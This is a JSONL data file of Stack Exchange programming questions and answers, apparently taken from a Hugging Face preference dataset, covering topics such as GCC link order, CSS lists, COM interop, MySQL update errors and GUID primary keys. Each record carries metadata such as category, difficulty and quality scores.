{"id": "hf_d38664f0c8d0", "question": "<p>Why does the order in which libraries are linked sometimes cause errors in GCC?</p>\n", "question_body": "", "answer": "I have seen this a lot, some of our modules link in excess of a 100 libraries of our code plus system & 3rd party libs.\nDepending on different linkers HP/Intel/GCC/SUN/SGI/IBM/etc you can get unresolved functions/variables etc, on some platforms you have to list libraries twice.\nFor the most part we use structured hierarchy of libraries, core, platform, different layers of abstraction, but for some systems you still have to play with the order in the link command.\nOnce you hit upon a solution document it so the next developer does not have to work it out again.\nMy old lecturer used to say, \"\nhigh cohesion & low coupling\n\", it’s still true today.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.593850"}
{"id": "hf_8f74ba1bce15", "question": "<p>Given this HTML:</p>\n\n<pre><code>&lt;ul id=\"topnav\"&gt;\n    &lt;li id=\"topnav_galleries\"&gt;&lt;a href=\"#\"&gt;Galleries&lt;/a&gt;&lt;/li&gt;\n    &lt;li id=\"topnav_information\"&gt;&lt;a href=\"#\"&gt;Information&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>And this CSS:</p>\n\n<pre class=\"lang-css prettyprint-override\"><code>#topnav_galleries a, #topnav_information a {\n    background-repeat: no-repeat;\n    text-indent: -9000px;\n    padding: 0;\n    margin: 0 0;\n    overflow: hidden;\n    height: 46px;\n    width: 136px;\n    display: block;\n}\n#topnav { list-style-type: none; }\n#topnav_galleries a { background-image: url('image1.jpg'); }\n#topnav_information a { background-image: url('image2.jpg'); }\n</code></pre>\n\n<p>How would I go about turning the <code>topnav</code> list into an inline list?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\n#topnav {\n    overflow:hidden;\n}\n#topnav li {\n    float:left;\n}\n```\n```\nAnd for IE you will need to add the following:\n```\n```\n#topnav {\n    zoom:1;\n}\n```\n```\nOtherwise your floated < li > tags will spill out of the containing < ul >.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.631509"}
{"id": "hf_c328ab5816f8", "question": "<p>I need to call into a Win32 API to get a series of strings, and I would like to return an array of those strings to JavaScript. This is for script that runs on local machine for administration scripts, not for the web browser.</p>\n\n<p>My IDL file for the COM object has the interface that I am calling into as:</p>\n\n<pre>\nHRESULT GetArrayOfStrings([out, retval] SAFEARRAY(BSTR) * rgBstrStringArray);\n</pre>\n\n<p>The function returns correctly, but the strings are getting 'lost' when they are being assigned to a variable in JavaScript.</p>\n\n<p>The question is:\nWhat is the proper way to get the array of strings returned to a JavaScript variable?\n­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "If i recall correctly, you'll need to wrap the\n```\nSAFEARRAY\n```\nin a\n```\nVARIANT\n```\nin order for it to get through, and then use a\nVBArray object\nto unpack it on the JS side of things:\n```\n```\nHRESULT GetArrayOfStrings(/*[out, retval]*/ VARIANT* pvarBstrStringArray)\n{\n   // ...\n\n   _variant_t ret;\n   ret.vt = VT_ARRAY|VT_VARIANT;\n   ret.parray = rgBstrStringArray;\n   *pvarBstrStringArray = ret.Detach();\n   return S_OK;\n}\n```\n```\nthen\n```\n```\nvar jsFriendlyStrings = new VBArray( axOb.GetArrayOfStrings() ).toArray();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.668758"}
{"id": "hf_2bf6f949546c", "question": "<p>Is there a way to <em>always</em> have LF line endings in Visual Studio? I can never seem to find it!</p>\n", "question_body": "", "answer": "Visual Studio 2008 doesn't retain the advanced save options after the solution is closed.  I would be willing to hand edit a lot of files if that would make it work consistently, but I am not willing to change all of the settings every time I open VS.\nThis is too bad.  Since VS does support forcing the line-endings to whatever is desired in the backend, its just not hooked up properly in the UI.  Maybe Microsoft will fix this isn a service pack.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.731408"}
{"id": "hf_28a7931791cc", "question": "<p>I've been unable to find a source for this information, short of looking through the Python source code myself to determine how the objects work. Does anyone know where I could find this online?</p>\n", "question_body": "", "answer": "If your asking what I think your asking, you can find them\nHere\n... page 476 and on.\nIt's written around optimization techniques for Python; It's mostly Big-O notation of time efficiencies not much memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.768124"}
{"id": "hf_dd17c9616dc3", "question": "<p>I have a small local network. Only one of the machines is available to the outside world (this is not easily changeable). I'd like to be able to set it up such that ssh requests that don't come in on the standard port go to another machine. Is this possible? If so, how?</p>\n\n<p>Oh and all of these machines are running either Ubuntu or OS X. </p>\n", "question_body": "", "answer": "You can use Port Fowarding to do this. Take a look here:\nhttp://portforward.com/help/portforwarding.htm\nThere are instructions on how to set up your router to port forward request on this page:\nhttp://www.portforward.com/english/routers/port_forwarding/routerindex.htm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.793405"}
{"id": "hf_dfe48f14aa6e", "question": "<p>I work on a large Visual C++ (MFC) project in VS.NET 2005.</p>\n\n<p>I have noticed strange behavior in Visual C++ 2005. Often, I will change one line of code in a .CPP file but many .CPP files will compile as a result of this. I have never seen this until VS.NET 2005. Theortically, changing a line of code in a .CPP file should simply require recompilation of that .CPP file and re-linking of the PE file.</p>\n\n<p>What am I not understanding about the build process.</p>\n", "question_body": "", "answer": "This is a strange bug in the VS2005 dependency behavior. To find out one suggestion would be to take the following steps:\nGo to\nTools\n-> Options ->\nProjects and Solutions -> Build and\nRun -> MSBuild Project Build output\nVerbosity\nand select\nDetailed\nCompile your project.\nThis will give you a detailed output of the build which\n\"may\"\nhelp you arrive at a solution to your problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.818318"}
{"id": "hf_a7f166aed0d5", "question": "<p>I have 1 process that receives incoming connection from port 1000 in 1 <strong>linux</strong> server. However, 1 process is not fast enough to handle all the incoming request.</p>\n\n<p>I want to run multiple processes in the server but with 1 end-point. In this way, the client will only see 1 end-point/process not multiple.</p>\n\n<p>I have checked LVS and other Load Balancing Solution. Those solutions seem geared towards multiple servers load-balancing.</p>\n\n<p>Any other solution to help on my case?</p>\n\n<hr>\n\n<p>i am looking something more like nginx where i will need to run multiple copies of my app.</p>\n\n<p>Let me try it out.</p>\n\n<p>Thanks for the help.</p>\n", "question_body": "", "answer": "The question is a little unclear to me, but I suspect the answer you are looking for is to have a single process accepting tasks from the network, and then forking off 'worker processes' to actually perform the work (before returning the result to the user).\nIn that way, the work which is being done does not block the acceptance of more requests.\nAs you point out, the term load balancing carries the implication of multiple servers - what you want to look for is information about how to write a linux network daemon.\nThe two kes system calls you'll want to look at are called\nfork and exec\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.855915"}
{"id": "hf_e4f83ca0a88d", "question": "<p>I'm working on a Rails app and am looking to include some functionality from \"<a href=\"https://stackoverflow.com/questions/42566/getting-the-hostname-or-ip-in-ruby-on-rails\">Getting the Hostname or IP in Ruby on Rails</a>\" that I asked.</p>\n\n<p>I'm having problems getting it to work. I was under the impression that I should just make a file in the lib directory, so I named it 'get_ip.rb', with the contents:</p>\n\n<pre><code>require 'socket'\n\nmodule GetIP\n  def local_ip\n    orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true  # turn off reverse DNS resolution temporarily\n\n    UDPSocket.open do |s|\n      s.connect '64.233.187.99', 1\n      s.addr.last\n    end\n  ensure\n    Socket.do_not_reverse_lookup = orig\n  end\nend\n</code></pre>\n\n<p>I had also tried defining GetIP as a class but when I do the usual <code>ruby script/console</code>, I'm not able to use the <code>local_ip</code> method at all. Any ideas?</p>\n", "question_body": "", "answer": "You haven't described how you're trying to use the method, so I apologize in advance if this is stuff you already know.\nThe methods on a module never come into use unless the module is included into a class.  Instance methods on a class require there to be an instance of the class.  You probably want a class method instead.  And the file itself should be loaded, generally through the require statement.\nIf the following code is in the file getip.rb,\n```\n```\nrequire 'socket'\n\nclass GetIP\n  def self.local_ip\n    orig, Socket.do_not_reverse_lookup = Socket.do_not_reverse_lookup, true\n\n    UDPSocket.open do |s|\n      s.connect '64.233.187.99', 1\n      s.addr.last\n    end\n  ensure\n    Socket.do_not_reverse_lookup = orig\n  end\nend\n```\n```\nThen you should be able to run it by saying,\n```\n```\nrequire 'getip'\nGetIP.local_ip\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.880252"}
{"id": "hf_eea200780073", "question": "<p>When an <code>AutoCompleteExtender</code> is displayed in IE6 it seems to ignore z-index and renders below any select controls (like <strong>dropdownlists</strong>) in IE6.</p>\n\n<pre><code>&lt;asp:TextBox ID=\"TextBox1\" runat=\"server\"  /&gt;\n&lt;cc1:AutoCompleteExtender ID=\"AutoCompleteExtender1\" runat=\"server\" \n    TargetControlID=\"TextBox1\" EnableCaching=\"true\" CompletionSetCount=\"5\" \n    FirstRowSelected=\"true\" ServicePath=\"~/Services/Service1.asmx\" ServiceMethod=\"GetSuggestion\" /&gt;\n&lt;asp:DropDownList ID=\"DropDownList1\" runat=\"server\"&gt;\n    &lt;asp:ListItem Text=\"Item 1\" Value=\"0\" /&gt;\n    &lt;asp:ListItem Text=\"Item 2\" Value=\"1\" /&gt;\n&lt;/asp:DropDownList&gt;\n</code></pre>\n\n<p>How do I make it render above <strong>dropdownlists</strong>?</p>\n", "question_body": "", "answer": "Nothing renders below select controls in IE6. It's one of the many \"features\" microsoft bestowed upon us when they gifted IE to the world\nYou have to hide them, then re-show them.\nObserve the\nstandard lightbox script\n- which does exactly this\n(note that link is just to the first thing I found on google which had the source to lightbox.js as a demonstration. It's got nothing to do with anything else)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.917459"}
{"id": "hf_ca7e215f9c51", "question": "<p>I have a scenario where I need to make a call to a telephone(landline/mobile)  or send SMS to a particular set of users only using ASP.NET and C#. The web application is not a mobile application.</p>\n\n<p>How do I go about doing these? What typically would be the hardware requirements? I would be <strong>extremely grateful</strong> if you could provide me with pointers and reference websites.</p>\n", "question_body": "", "answer": "Not sure if you're looking for hardware solutions to automate yourself, or external services. However, I've used BT's\nWeb21C\npretty extensively.\nThey have an excellent .Net API and a host of functionality. Their pricing is the best in the UK, but might fall down with US SMS, which is obviously cheaper - there are plenty of other SMS API providers though.\nWhat BT do offer, which is rare, is an API interface for automating call dialling, conferencing and managing call flow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:39.966419"}
{"id": "hf_e8edf80d2ae2", "question": "<p>Sometimes when I'm editing page or control the .designer files stop being updated with the new controls I'm putting on the page.  I'm not sure what's causing this to happen, but I'm wondering if there's any way of forcing Visual Studio to regenerate the .designer file.  I'm using Visual Studio 2008</p>\n\n<p><strong>EDIT:</strong> Sorry I should have noted I've already tried:</p>\n\n<ul>\n<li>Closing &amp; re-opening all the files &amp; Visual Studio</li>\n<li>Making a change to a runat=\"server\" control on the page</li>\n<li>Deleting &amp; re-adding the page directive</li>\n</ul>\n", "question_body": "", "answer": "If you open the .aspx file and switch between design view and html view and \nback it will prompt VS to check the controls and add any that are missing to \nthe designer file.\nIn VS2013-15 there is a\nConvert to Web Application\ncommand under the\nProject\nmenu. Prior to VS2013 this option was available in the right-click context menu for as(c/p)x files. When this is done you should see that you now have a *.Designer.cs file available and your controls within the Design HTML will be available for your control.\nPS: This should not be done in debug mode, as not everything is \"recompiled\" when debugging.\nSome people have also reported success by (making a backup copy of your .designer.cs file and then) deleting the .designer.cs file.  Re-create an empty file with the same name.\nThere are many comments to this answer that add tips on how best to re-create the designer.cs file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.016394"}
{"id": "hf_107fdc7af602", "question": "<p>Python frameworks always provide ways to handle URLs that convey the data of the request in an elegant way, like for example <a href=\"http://somewhere.overtherainbow.com/userid/123424/\" rel=\"noreferrer\">http://somewhere.overtherainbow.com/userid/123424/</a></p>\n\n<p>I want you to notice the ending path <strong>/userid/123424/</strong></p>\n\n<p>How do you do this in ASP.NET?</p>\n", "question_body": "", "answer": "Also, check out ASP.NET MVC or if you're set on webforms, the new System.Web.Routing namespace in ASP.NET 3.5 SP1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.069606"}
{"id": "hf_50cd0b2d4d5f", "question": "<p>Let's say that I want to have a table that logs the date and the number of columns in some other table (or really any sort of math / string concat etc).</p>\n\n<pre><code>CREATE TABLE `log` (\n`id` INTEGER NOT NULL AUTO_INCREMENT ,\n`date` DATETIME NOT NULL ,\n`count` INTEGER NOT NULL ,\nPRIMARY KEY (`id`)\n);\n</code></pre>\n\n<p>Is it possible to have the count column calculated for me whenever I do an insert?</p>\n\n<p>e.g. do something like:</p>\n\n<pre><code>INSERT INTO log (date='foo');\n</code></pre>\n\n<p>and have count calculated by mysql.</p>\n\n<p>Obviously I could do it myself by doing a query to get the count and inserting it, but this would be better.</p>\n", "question_body": "", "answer": "You definitly have to declare what to insert. This should be possible by using the\nINSERT ... SELECT\nstatement.\n```\n```\nINSERT INTO log (date, count)\n    SELECT DATE() as date, count(id) as count\n    from foo;\n```\n```\nWhich should insert a new row into the log table, containing todays date and the number of  rows in the foo table. (Assuming the foo table has an id column.. Use the primary key or another indexed column)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.106796"}
{"id": "hf_07b5106b393c", "question": "<p>I've worked on a number of database systems in the past where moving entries between databases would have been made a lot easier if all the database keys had been <a href=\"http://en.wikipedia.org/wiki/Globally_Unique_Identifier\" rel=\"noreferrer\">GUID / UUID</a> values. I've considered going down this path a few times, but there's always a bit of uncertainty, especially around performance and un-read-out-over-the-phone-able URLs.</p>\n\n<p>Has anyone worked extensively with GUIDs in a database? What advantages would I get by going that way, and what are the likely pitfalls?</p>\n", "question_body": "", "answer": "The main advantages are that you can create unique id's without connecting to the database. And id's are globally unique so you can easilly combine data from different databases. These seem like small advantages but have saved me a lot of work in the past.\nThe main disadvantages are a bit more storage needed (not a problem on modern systems) and the id's are not really human readable. This can be a problem when debugging.\nThere are some performance problems like index fragmentation. But those are easilly solvable (comb guids by jimmy nillson:\nhttp://www.informit.com/articles/article.aspx?p=25862\n)\nEdit\nmerged my two answers to this question\n@Matt Sheppard I think he means that you can duplicate rows with different GUIDs as primary keys. This is an issue with any kind of surrogate key, not just GUIDs. And like he said it is easilly solved by adding meaningfull unique constraints to non-key columns. The alternative is to use a natural key and those have real problems..", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.144044"}
{"id": "hf_909b4f73f7d4", "question": "<p>What are the main differences (if any) between the box models of IE8 and Firefox3?</p>\n\n<p>Are they the same now?</p>\n\n<p>What are the other main differences between these two browsers? Can a web developer assume that these two browsers as the same since they (seem to) support the latest web standards?</p>\n", "question_body": "", "answer": "The Internet Explorer box model has been \"fixed\" since Internet Explorer 6 so long as your pages are in standard compliants mode.\nSee:\nQuirks mode\nand\nInternet Explorer box model bug\n.\nUntil I learnt about doctype declerations getting IE to work properly was a real PAIN, because IE runs in \"quirks mode\" by default. So having a standards mode doctype will eliminate a whole bunch of the most painful CSS problems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.193000"}
{"id": "hf_4c97b1cef60c", "question": "<p>How does a virtual machine generate native machine code on the fly and execute it?</p>\n\n<p>Assuming you can figure out what are the native machine op-codes you want to emit, how do you go about actually running it?</p>\n\n<p>Is it something as hacky as mapping the mnemonic instructions to binary codes, stuffing it into an char* pointer and casting it as a function and executing?</p>\n\n<p>Or would you generate a temporary shared library (.dll or .so or whatever) and load it into memory using standard functions like <code>LoadLibrary</code> ?</p>\n", "question_body": "", "answer": "As far as i know it compiles everything in memory because it has to run some heuristics to    to optimize the code (i.e.: inlining over time) but you can have a look at the\nShared Source Common Language Infrastructure 2.0\nrotor release. The whole codebase is identical to .NET except for the Jitter and the GC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.217856"}
{"id": "hf_1bb20c61927d", "question": "<p>I'm using Eclipse 3.4 and have configured the Java code formatter with all of the options on the <em>Comments</em> tab enabled. The problem is that when I format a document comment that contains:</p>\n\n<pre><code>* @see &lt;a href=\"test.html\"&gt;test&lt;/a&gt;\n</code></pre>\n\n<p>the code formatter inserts a space in the closing HTML, breaking it:</p>\n\n<pre><code>* @see &lt;a href=\"test.html\"&gt;test&lt; /a&gt;\n</code></pre>\n\n<p>Why? How do I stop this happening?</p>\n\n<p>This is not fixed by disabling any of the options on the <em>Comments</em> tab, such as <em>Format HTML tags</em>. The only work-around I found is to disable Javadoc formatting completely by disabling both the <em>Enable Javadoc comment formatting</em> and <em>Enable block comment formatting</em> options, which means I then have to format comment blocks manually.</p>\n", "question_body": "", "answer": "I can only assume it's a bug in Eclipse. It only happens with\n@see\ntags, it happens also for all 3 builtin code formatter settings.\nThere are some interesting bugs reported already in the neighbourhood, but I couldn't find this specific one. See for example a search for\n@see\nin the\nEclipse Bugzilla\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.242775"}
{"id": "hf_28ef5b87213d", "question": "<p>I'm using <b>Struts 2</b>.</p>\n\n<p>I'd like to return from an Action to the page which invoked it.</p>\n\n<p>Say I'm in page <strong>x.jsp</strong>, I invoke Visual action to change CSS preferences in the session; I want to return to <strong>x.jsp</strong> rather than to a fixed page (i.e. <strong>home.jsp</strong>)<br/></p>\n\n<p>Here's the relevant <strong>struts.xml</strong> fragment:\n<br/></p>\n\n<pre>\n&lt;action\n   name=\"Visual\"\n   class=\"it.___.web.actions.VisualizationAction\"&gt;\n   &lt;result name=\"home\"&gt;/pages/home.jsp&lt;/result&gt;\n&lt;/action&gt;\n</pre>\n\n<p>Of course my <code>VisualizationAction.execute()</code> returns <strong>home</strong>.</p>\n\n<p>Is there any \"magic\" constant (like, say, INPUT_PAGE) that I may return to do the trick?<br/></p>\n\n<p>Must I use a more involved method (i.e. extracting the request page and forwarding to it)?<br/></p>\n\n<p>T.I.A.</p>\n", "question_body": "", "answer": "```\n```\nreturn INPUT;\n```\n```\nwill do the trick. INPUT constant is defined in Action interface itself. It indicates that action needs more input.\nBy calling page if you meant the page that took you to the action input page, then your input page will have to store HTTP header \"Referer\" in the request scope for the Action.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.267514"}
{"id": "hf_f17d01c8cfea", "question": "<p>I'm generating ICalendar (.ics) files.</p>\n\n<p>Using the UID and SEQUENCE fields I can update existing events in Google Calendar and in Windows Calendar <strong><em>BUT NOT</em></strong> in MS Outlook 2007 - it just creates a second event</p>\n\n<p>How do I get them to work for Outlook ?</p>\n\n<p>Thanks</p>\n\n<p>Tom</p>\n", "question_body": "", "answer": "I'm using Entourage, so this may not match up exactly with the behavior you're seeing, but I hope it helps.\nUsing the iCalendar from your reply, Entourage wouldn't even import the data. Using a known-good file, I got it to import, then successfully update. Comparing the two files, the only structural differences are as follows:\nMy known-good doesn't have a\n```\nVERSION\n```\nelement\nMy known-good doesn't have a\n```\nPRODID\n```\nelement\nMy known-good doesn't have a\n```\nSTATUS\n```\nelement\nMy known-good doesn't have a\n```\nSEQUENCE\n```\nelement\nSince Microsoft's support for open standards tends to lag, I'd suggest trying without the\n```\nVERSION\n```\ninfo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.320280"}
{"id": "hf_8592cdc6a1ff", "question": "<p>Can you suggest some good MVC framework for perl -- one I am aware of is <a href=\"http://www.catalystframework.org/\" rel=\"noreferrer\">catalyst</a></p>\n\n<p>The need is to be able to expose services on the perl infrastructure which can be called by Java/.Net applications seamlessly.</p>\n", "question_body": "", "answer": "I'll tell you right now that Catalyst has by far the best reputation amongst Perl developers in terms of a rapid application development MVC framework.\nIn terms of \"pure\" MVC I'm not sure there are even that many \"mature\" or at least production-ready alternatives.\nIf Catalyst doesn't seem right to you, then you could build upon the lightweight framework\nCGI::Application\nto suit your needs or take a look at some of the lesser known MVC frameworks like\nPageKit\nand\nMaypole\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.344556"}
{"id": "hf_528788ab9494", "question": "<p>How can you do a streaming read on a large XML file that contains a xs:sequence just below root element, without loading the whole file into a XDocument instance in memory?</p>\n", "question_body": "", "answer": "I think it's not possible if you want to use object model (i.e. XElement\\XDocument) to query XML. Obviously, you can't build XML objects tree without reading enough data. However you can use\nXmlReader\nclass.\nThe XmlReader class reads XML data\n  from a stream or file. It provides\n  non-cached, forward-only, read-only\n  access to XML data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.384771"}
{"id": "hf_877abe04e2ad", "question": "<p>I have a table <code>story_category</code> in my database with corrupt entries. The next query returns the corrupt entries:</p>\n\n<pre><code>SELECT * \nFROM  story_category \nWHERE category_id NOT IN (\n    SELECT DISTINCT category.id \n    FROM category INNER JOIN \n       story_category ON category_id=category.id);\n</code></pre>\n\n<p>I tried to delete them executing:</p>\n\n<pre><code>DELETE FROM story_category \nWHERE category_id NOT IN (\n    SELECT DISTINCT category.id \n    FROM category \n      INNER JOIN story_category ON category_id=category.id);\n</code></pre>\n\n<p>But I get the next error: </p>\n\n<blockquote>\n  <p>#1093 - You can't specify target table 'story_category' for update in FROM clause </p>\n</blockquote>\n\n<p>How can I overcome this?</p>\n", "question_body": "", "answer": "Update: This answer covers the general error classification. For a more specific answer about how to best handle the OP's exact query, please see other answers to this question\nIn MySQL, you can't modify the same table which you use in the SELECT part.\nThis behaviour is documented at:\nhttp://dev.mysql.com/doc/refman/5.6/en/update.html\nMaybe you can just join the table to itself\nIf the logic is simple enough to re-shape the query, lose the subquery and join the table to itself, employing appropriate selection criteria. This will cause MySQL to see the table as two different things, allowing destructive changes to go ahead.\n```\n```\nUPDATE tbl AS a\nINNER JOIN tbl AS b ON ....\nSET a.col = b.col\n```\n```\nAlternatively, try nesting the subquery deeper into a from clause ...\nIf you absolutely need the subquery, there's a workaround, but it's\nugly for several reasons, including performance:\n```\n```\nUPDATE tbl SET col = (\n  SELECT ... FROM (SELECT.... FROM) AS x);\n```\n```\nThe nested subquery in the FROM clause creates an\nimplicit temporary\ntable\n, so it doesn't count as the same table you're updating.\n... but watch out for the query optimiser\nHowever, beware that from\nMySQL 5.7.6\nand onward, the optimiser may optimise out the subquery, and still give you the error. Luckily, the\n```\noptimizer_switch\n```\nvariable can be used to switch off this behaviour; although I couldn't recommend doing this as anything more than a short term fix, or for small one-off tasks.\n```\n```\nSET optimizer_switch = 'derived_merge=off';\n```\n```\nThanks to\nPeter V. Mørch\nfor this advice in the comments.\nExample technique was from Baron Schwartz,\noriginally published at Nabble\n, paraphrased and extended here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.420333"}
{"id": "hf_51a412b5f651", "question": "<p>If possible I want to catch pressure sensitive input from a Wacom tablet in Python. Are there any Python libraries available that can do this?</p>\n", "question_body": "", "answer": "You could perhaps take a look at the\nsoftware\ndescribed\nhere\n. It is a gnome applet, written in Python.\nFrom the web site:\n\"The gnome wacom applet is a small gnome panel applet that shows how much pressure is being applied to your wacom tablet by the current device. Clicking on the panel icon brings up a dialog allowing you to select a different device and check what pressure and tilt information is being recieved from it. This dialog also contains a small drawing test area to give your pen a quick test.\"\nGoogle is your friend", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.445717"}
{"id": "hf_1d44d950f829", "question": "<p>I'm looking to create <code>favicon.ico</code> files programatically from Python, but PIL only has support for reading <code>ico</code> files.</p>\n", "question_body": "", "answer": "Perhaps the following would work:\nGenerate your icon image using PIL\nConvert the image to .ico format using the python interface to ImageMagick,\nPythonMagick\nI have not tried this approach. The ImageMagick convert command line program was able to convert a .png file to .ico format, so at least ImageMagick supports the .ico format.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.470711"}
{"id": "hf_bd04702fccea", "question": "<p>I want to call a function from a .NET DLL (coded in C#) from an Inno Setup script.</p>\n\n<p>I have:</p>\n\n<ol>\n<li>marked the <em>Register for COM interop</em> option in the project properties,</li>\n<li>changed the <em>ComVisible</em> setting in the <em>AssemblyInfo.cs</em> file,</li>\n<li>added these lines to the ISS script:</li>\n</ol>\n\n<blockquote>\n  <p>[Files]</p>\n  \n  <p>Source: c:\\temp\\1\\MyDLL.dll; Flags: dontcopy</p>\n  \n  <p>[Code]</p>\n  \n  <p>function MyFunction(): string;</p>\n  \n  <p>external 'MyFunction@files:MyDLL.dll stdcall setuponly';</p>\n</blockquote>\n\n<p>but I still get the following error:</p>\n\n<blockquote>\n  <p>Runtime Error (at -1:0):</p>\n  \n  <p>Cannot Import dll:C:\\DOCUME~1\\foo\\LOCALS~1\\Temp\\is-LRL3E.tmp\\MyDLL.dll.</p>\n</blockquote>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "You're trying to import a C-style function from your .NET dll - this doesn't really have anything to do with COM interop. COM interop allows you to activate your .NET objects as COM objects, it doesn't expose them as C/C++ exported functions/types.\nIf your function doesn't need to return any data, why not make a simple .exe that calls your function and just run that from your setup?\nAlso: See the\ninnosetup support newsgroups\nwhere you might get better support.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:40.494891"}
